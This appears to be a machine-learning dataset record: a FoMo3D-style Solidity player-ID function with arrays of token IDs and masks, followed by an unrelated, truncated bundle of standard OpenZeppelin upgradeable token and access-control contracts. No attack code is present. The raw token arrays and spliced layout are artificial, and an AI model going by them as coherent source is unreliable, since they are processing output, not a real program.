function determinePID(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; if (_pID == 0) { _pID = PlayerBook.getPlayerID(msg.sender); bytes32 _name = PlayerBook.getPlayerName(_pID); uint256 _laff = PlayerBook.getPlayerLAff(_pID); pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != "") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; } return (_eventData_); }
1,205,460
[ 1, 14665, 2062, 578, 10285, 394, 293, 734, 18, 225, 999, 333, 1347, 279, 7291, 2026, 506, 394, 327, 293, 734, 19, 309, 7291, 353, 394, 358, 333, 1177, 434, 284, 362, 83, 23, 72, 11086, 3675, 7291, 1599, 16, 508, 471, 1142, 7103, 1599, 16, 628, 7291, 1257, 6835, 444, 731, 7291, 2236, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 4199, 16522, 12, 42, 23, 40, 21125, 18, 1133, 1356, 3778, 389, 2575, 751, 67, 13, 203, 565, 3238, 203, 565, 1135, 261, 42, 23, 40, 21125, 18, 1133, 1356, 13, 203, 565, 288, 203, 3639, 2254, 5034, 389, 84, 734, 273, 293, 734, 92, 3178, 67, 63, 3576, 18, 15330, 15533, 203, 3639, 309, 261, 67, 84, 734, 422, 374, 13, 203, 3639, 288, 203, 5411, 389, 84, 734, 273, 19185, 9084, 18, 588, 12148, 734, 12, 3576, 18, 15330, 1769, 203, 5411, 1731, 1578, 389, 529, 273, 19185, 9084, 18, 588, 12148, 461, 24899, 84, 734, 1769, 203, 5411, 2254, 5034, 389, 80, 7329, 273, 19185, 9084, 18, 588, 12148, 2534, 1403, 24899, 84, 734, 1769, 203, 203, 5411, 293, 734, 92, 3178, 67, 63, 3576, 18, 15330, 65, 273, 389, 84, 734, 31, 203, 5411, 293, 715, 86, 67, 63, 67, 84, 734, 8009, 4793, 273, 1234, 18, 15330, 31, 203, 203, 5411, 309, 261, 67, 529, 480, 1408, 13, 203, 5411, 288, 203, 7734, 293, 734, 92, 461, 67, 63, 67, 529, 65, 273, 389, 84, 734, 31, 203, 7734, 293, 715, 86, 67, 63, 67, 84, 734, 8009, 529, 273, 389, 529, 31, 203, 7734, 293, 715, 86, 1557, 67, 63, 67, 84, 734, 6362, 67, 529, 65, 273, 638, 31, 203, 5411, 289, 203, 203, 5411, 309, 261, 67, 80, 7329, 480, 374, 597, 389, 80, 7329, 480, 389, 84, 734, 13, 203, 7734, 293, 715, 86, 67, 63, 67, 84, 734, 8009, 80, 7329, 273, 2 ]
pragma solidity ^0.5.0; import "@openzeppelin/upgrades/contracts/Initializable.sol"; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context is Initializable { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } pragma solidity ^0.5.0; /** * @title Roles * @dev Library for managing addresses assigned to a Role. */ library Roles { struct Role { mapping (address => bool) bearer; } /** * @dev Give an account access to this role. */ function add(Role storage role, address account) internal { require(!has(role, account), "Roles: account already has role"); role.bearer[account] = true; } /** * @dev Remove an account's access to this role. */ function remove(Role storage role, address account) internal { require(has(role, account), "Roles: account does not have role"); role.bearer[account] = false; } /** * @dev Check if an account has this role. * @return bool */ function has(Role storage role, address account) internal view returns (bool) { require(account != address(0), "Roles: account is the zero address"); return role.bearer[account]; } } pragma solidity ^0.5.0; import "@openzeppelin/upgrades/contracts/Initializable.sol"; import "../../GSN/Context.sol"; import "../Roles.sol"; contract PauserRole is Initializable, Context { using Roles for Roles.Role; event PauserAdded(address indexed account); event PauserRemoved(address indexed account); Roles.Role private _pausers; function initialize(address sender) public initializer { if (!isPauser(sender)) { _addPauser(sender); } } modifier onlyPauser() { require(isPauser(_msgSender()), "PauserRole: caller does not have the Pauser role"); _; } function isPauser(address account) public view returns (bool) { return _pausers.has(account); } function addPauser(address account) public onlyPauser { _addPauser(account); } function renouncePauser() public { _removePauser(_msgSender()); } function _addPauser(address account) internal { _pausers.add(account); emit PauserAdded(account); } function _removePauser(address account) internal { _pausers.remove(account); emit PauserRemoved(account); } uint256[50] private ______gap; } pragma solidity ^0.5.0; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * NOTE: This call _does not revert_ if the signature is invalid, or * if the signer is otherwise unable to be retrieved. In those scenarios, * the zero address is returned. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { // Check the signature length if (signature.length != 65) { revert("ECDSA: signature length is invalid"); } // Divide the signature in r, s and v variables bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. // solhint-disable-next-line no-inline-assembly assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { revert("ECDSA: signature.s is in the wrong range"); } if (v != 27 && v != 28) { revert("ECDSA: signature.v is in the wrong range"); } // If the signature is valid (and not malleable), return the signer address return ecrecover(hash, v, r, s); } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * replicates the behavior of the * https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_sign[`eth_sign`] * JSON-RPC method. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } } pragma solidity ^0.5.0; import "@openzeppelin/upgrades/contracts/Initializable.sol"; import "../GSN/Context.sol"; import "../access/roles/PauserRole.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ contract Pausable is Initializable, Context, PauserRole { /** * @dev Emitted when the pause is triggered by a pauser (`account`). */ event Paused(address account); /** * @dev Emitted when the pause is lifted by a pauser (`account`). */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. Assigns the Pauser role * to the deployer. */ function initialize(address sender) public initializer { PauserRole.initialize(sender); _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!_paused, "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(_paused, "Pausable: not paused"); _; } /** * @dev Called by a pauser to pause, triggers stopped state. */ function pause() public onlyPauser whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Called by a pauser to unpause, returns to normal state. */ function unpause() public onlyPauser whenPaused { _paused = false; emit Unpaused(_msgSender()); } uint256[50] private ______gap; } pragma solidity ^0.5.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } pragma solidity ^0.5.0; import "@openzeppelin/upgrades/contracts/Initializable.sol"; import "../GSN/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be aplied to your functions to restrict their use to * the owner. */ contract Ownable is Initializable, Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function initialize(address sender) public initializer { _owner = sender; emit OwnershipTransferred(address(0), _owner); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @dev Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return _msgSender() == _owner; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * > Note: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } uint256[50] private ______gap; } pragma solidity ^0.5.0; import "@openzeppelin/upgrades/contracts/Initializable.sol"; import "../../GSN/Context.sol"; import "./IERC20.sol"; import "../../math/SafeMath.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20Mintable}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Initializable, Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Destroys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See {_burn} and {_approve}. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance")); } uint256[50] private ______gap; } pragma solidity ^0.5.0; import "@openzeppelin/upgrades/contracts/Initializable.sol"; import "../../GSN/Context.sol"; import "./ERC20.sol"; /** * @dev Extension of {ERC20} that allows token holders to destroy both their own * tokens and those that they have an allowance for, in a way that can be * recognized off-chain (via event analysis). */ contract ERC20Burnable is Initializable, Context, ERC20 { /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public { _burn(_msgSender(), amount); } /** * @dev See {ERC20-_burnFrom}. */ function burnFrom(address account, uint256 amount) public { _burnFrom(account, amount); } uint256[50] private ______gap; } pragma solidity ^0.5.0; import "@openzeppelin/upgrades/contracts/Initializable.sol"; import "./IERC20.sol"; /** * @dev Optional functions from the ERC20 standard. */ contract ERC20Detailed is Initializable, IERC20 { string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for `name`, `symbol`, and `decimals`. All three of * these values are immutable: they can only be set once during * construction. */ function initialize(string memory name, string memory symbol, uint8 decimals) public initializer { _name = name; _symbol = symbol; _decimals = decimals; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } uint256[50] private ______gap; } pragma solidity ^0.5.0; import "@openzeppelin/upgrades/contracts/Initializable.sol"; import "./ERC20.sol"; import "../../lifecycle/Pausable.sol"; /** * @title Pausable token * @dev ERC20 with pausable transfers and allowances. * * Useful if you want to stop trades until the end of a crowdsale, or have * an emergency switch for freezing all token transfers in the event of a large * bug. */ contract ERC20Pausable is Initializable, ERC20, Pausable { function initialize(address sender) public initializer { Pausable.initialize(sender); } function transfer(address to, uint256 value) public whenNotPaused returns (bool) { return super.transfer(to, value); } function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) { return super.transferFrom(from, to, value); } function approve(address spender, uint256 value) public whenNotPaused returns (bool) { return super.approve(spender, value); } function increaseAllowance(address spender, uint256 addedValue) public whenNotPaused returns (bool) { return super.increaseAllowance(spender, addedValue); } function decreaseAllowance(address spender, uint256 subtractedValue) public whenNotPaused returns (bool) { return super.decreaseAllowance(spender, subtractedValue); } uint256[50] private ______gap; } pragma solidity ^0.5.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } pragma solidity ^0.5.0; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } pragma solidity ^0.5.5; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Converts an `address` into `address payable`. Note that this is * simply a type cast: the actual underlying value is not changed. * * _Available since v2.4.0._ */ function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. * * _Available since v2.4.0._ */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } pragma solidity >=0.4.24 <0.7.0; /** * @title Initializable * * @dev Helper contract to support initializer functions. To use it, replace * the constructor with a function that has the `initializer` modifier. * WARNING: Unlike constructors, initializer functions must be manually * invoked. This applies both to deploying an Initializable contract, as well * as extending an Initializable contract via inheritance. * WARNING: When used with inheritance, manual care must be taken to not invoke * a parent initializer twice, or ensure that all initializers are idempotent, * because this is not dealt with automatically as with constructors. */ contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private initializing; /** * @dev Modifier to use in the initializer function of a contract. */ modifier initializer() { require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized"); bool isTopLevelCall = !initializing; 